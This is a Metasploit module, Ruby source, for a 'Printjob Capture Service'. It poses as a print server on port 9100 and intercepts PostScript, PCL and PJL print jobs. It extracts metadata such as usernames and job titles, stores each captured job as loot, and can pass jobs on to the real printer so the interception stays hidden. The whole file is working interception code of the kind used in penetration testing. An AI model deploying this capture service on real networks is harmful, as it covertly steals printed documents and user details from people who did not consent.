Files
metasploit-gs/modules/auxiliary/server/capture/printjob_capture.rb
T
Brent Cook ddef5b4961 MSF5: Remove unneeded RHOST deregister in scanners
With Metasploit 5, RHOST and RHOSTS are aliases, so no need to
deregister one or the other, as they are the same option. Deregistering
one deregisters both.
2019-03-05 13:04:49 -06:00

265 lines
8.5 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'Printjob Capture Service',
'Description' => %q{
This module is designed to listen for PJL or PostScript print
jobs. Once a print job is detected it is saved to loot. The
captured printjob can then be forwarded on to another printer
(required for LPR printjobs). Resulting PCL/PS files can be
read with GhostScript/GhostPCL.
Note, this module does not yet support IPP connections.
},
'Author' => ['Chris John Riley', 'todb'],
'License' => MSF_LICENSE,
'References' =>
[
# Based on previous prn-2-me tool (Python)
['URL', 'http://blog.c22.cc/toolsscripts/prn-2-me/'],
# Readers for resulting PCL/PC
['URL', 'http://www.ghostscript.com']
],
'Actions' => [[ 'Capture' ]],
'PassiveActions' => ['Capture'],
'DefaultAction' => 'Capture'
)
register_options([
OptPort.new('SRVPORT', [ true, 'The local port to listen on', 9100 ]),
OptBool.new('FORWARD', [ true, 'Forward print jobs to another host', false ]),
OptAddress.new('RHOST', [ false, 'Forward to remote host' ]),
OptPort.new('RPORT', [ false, 'Forward to remote port', 9100 ]),
OptBool.new('METADATA', [ true, 'Display Metadata from printjobs', true ]),
OptEnum.new('MODE', [ true, 'Print mode', 'RAW', ['RAW', 'LPR']]) # TODO: Add IPP
])
deregister_options('SSL', 'SSLVersion', 'SSLCert', 'RHOSTS')
end
def setup
super
@state = {}
begin
@srvhost = datastore['SRVHOST']
@srvport = datastore['SRVPORT'] || 9100
@mode = datastore['MODE'].upcase || 'RAW'
if datastore['FORWARD']
@forward = datastore['FORWARD']
@rport = datastore['RPORT'] || 9100
if datastore['RHOST'].nil?
fail_with(Failure::BadConfig, "Cannot forward without a valid RHOST")
end
@rhost = datastore['RHOST']
print_status("Forwarding all printjobs to #{@rhost}:#{@rport}")
end
if not @mode == 'RAW' and not @forward
fail_with(Failure::BadConfig, "Cannot intercept LPR/IPP without a forwarding target")
end
@metadata = datastore['METADATA']
print_status("Starting Print Server on %s:%s - %s mode" % [@srvhost, @srvport, @mode])
exploit()
rescue => ex
print_error(ex.message)
end
end
def on_client_connect(c)
@state[c] = {
:name => "#{c.peerhost}:#{c.peerport}",
:ip => c.peerhost,
:port => c.peerport,
:user => nil,
:pass => nil,
:data => '',
:raw_data => '',
:prn_title => '',
:prn_type => '',
:prn_metadata => {},
:meta_output => []
}
print_status("#{name}: Client connection from #{c.peerhost}:#{c.peerport}")
end
def on_client_data(c)
curr_data = c.get_once
@state[c][:data] << curr_data
if @mode == 'RAW'
# RAW Mode - no further actions
elsif @mode == 'LPR' or @mode == 'IPP'
response = stream_data(curr_data)
c.put(response)
end
if (Rex::Text.to_hex(curr_data.first)) == '\x02' and (Rex::Text.to_hex(curr_data.last)) == '\x0a'
print_status("LPR Jobcmd \"%s\" received" % curr_data[1..-2]) if not curr_data[1..-2].empty?
end
return if not @state[c][:data]
end
def on_client_close(c)
print_status("#{name}: Client #{c.peerhost}:#{c.peerport} closed connection after %d bytes of data" % @state[c][:data].length)
sock.close if sock
# forward RAW data as it's not streamed
if @forward and @mode == 'RAW'
forward_data(@state[c][:data])
end
#extract print data and Metadata from @state[c][:data]
begin
# postscript data
if @state[c][:data] =~ /%!PS-Adobe/i
@state[c][:prn_type] = "PS"
print_good("Printjob intercepted - type PostScript")
# extract PostScript data including header and EOF marker
@state[c][:raw_data] = @state[c][:data].match(/%!PS-Adobe.*%%EOF/im)[0]
# pcl data (capture PCL or PJL start code)
elsif @state[c][:data].unpack("H*")[0] =~ /(1b45|1b25|1b26)/
@state[c][:prn_type] = "PCL"
print_good("Printjob intercepted - type PCL")
#extract everything between PCL start and end markers (various)
@state[c][:raw_data] = Array(@state[c][:data].unpack("H*")[0].match(/((1b45|1b25|1b26).*(1b45|1b252d313233343558))/i)[0]).pack("H*")
end
# extract Postsript Metadata
metadata_ps(c) if @state[c][:data] =~ /^%%/i
# extract PJL Metadata
metadata_pjl(c) if @state[c][:data] =~ /@PJL/i
# extract IPP Metadata
metadata_ipp(c) if @state[c][:data] =~ /POST \/ipp/i or @state[c][:data] =~ /application\/ipp/i
if @state[c][:prn_type].empty?
print_error("Unable to detect printjob type, dumping complete output")
@state[c][:prn_type] = "Unknown Type"
@state[c][:raw_data] = @state[c][:data]
end
# output discovered Metadata if set
if @state[c][:meta_output] and @metadata
@state[c][:meta_output].sort.each do | out |
# print metadata if not empty
print_status("#{out}") if not out.empty?
end
else
print_status("No metadata gathered from printjob")
end
# set name to unknown if not discovered via Metadata
@state[c][:prn_title] = 'Unnamed' if @state[c][:prn_title].empty?
#store loot
storefile(c) if not @state[c][:raw_data].empty?
# clear state
@state.delete(c)
rescue => ex
print_error(ex.message)
end
end
def metadata_pjl(c)
# extract PJL Metadata
@state[c][:prn_metadata] = @state[c][:data].scan(/^@PJL\s(JOB=|SET\s|COMMENT\s)(.*)$/i)
print_good("Extracting PJL Metadata")
@state[c][:prn_metadata].each do | meta |
if meta[0] =~ /^COMMENT/i
@state[c][:meta_output] << meta[0].to_s + meta[1].to_s
end
if meta[1] =~ /^NAME|^STRINGCODESET|^RESOLUTION|^USERNAME|^JOBNAME|^JOBATTR/i
@state[c][:meta_output] << meta[1].to_s
end
if meta[1] =~ /^NAME/i
@state[c][:prn_title] = meta[1].strip
elsif meta[1] =~/^JOBNAME/i
@state[c][:prn_title] = meta[1].strip
end
end
end
def metadata_ps(c)
# extract Postsript Metadata
@state[c][:prn_metadata] = @state[c][:data].scan(/^%%(.*)$/i)
print_good("Extracting PostScript Metadata")
@state[c][:prn_metadata].each do | meta |
if meta[0] =~ /^Title|^Creat(or|ionDate)|^For|^Target|^Language/i
@state[c][:meta_output] << meta[0].to_s
end
if meta[0] =~ /^Title/i
@state[c][:prn_title] = meta[0].strip
end
end
end
def metadata_ipp(c)
# extract IPP Metadata
@state[c][:prn_metadata] = @state[c][:data]
print_good("Extracting IPP Metadata")
case @state[c][:prn_metadata]
when /User-Agent:/i
@state[c][:meta_output] << @state[c][:prn_metadata].scan(/^User-Agent:.*/i)
when /Server:/i
@state[c][:meta_output] << @state[c][:prn_metadata].scan(/^Server:.*/i)
when /printer-uri..ipp:\/\/.*\/ipp\//i
@state[c][:meta_output] << @state[c][:prn_metadata].scan(/printer-uri..ipp:\/\/.*\/ipp\//i)
when /requesting-user-name..\w+/i
@state[c][:meta_output] << @state[c][:prn_metadata].scan(/requesting-user-name..\w+/i)
end
end
def forward_data(data_to_send)
print_status("Forwarding PrintJob on to #{@rhost}:#{@rport}")
connect
sock.put(data_to_send)
sock.close
end
def stream_data(data_to_send)
vprint_status("Streaming %d bytes of data to #{@rhost}:#{@rport}" % data_to_send.length)
connect if not sock
sock.put(data_to_send)
response = sock.get_once
return response
end
def storefile(c)
# store the file
if @state[c][:raw_data]
jobname = File.basename(@state[c][:prn_title].gsub("\\","/"), ".*")
filename = "#{jobname}.#{@state[c][:prn_type]}"
loot = store_loot(
"prn_snarf.#{@state[c][:prn_type].downcase}",
"#{@state[c][:prn_type]} printjob",
c.peerhost,
@state[c][:raw_data],
filename,
"PrintJob capture"
)
print_good("Incoming printjob - %s saved to loot" % @state[c][:prn_title])
print_good("Loot filename: %s" % loot)
end
end
end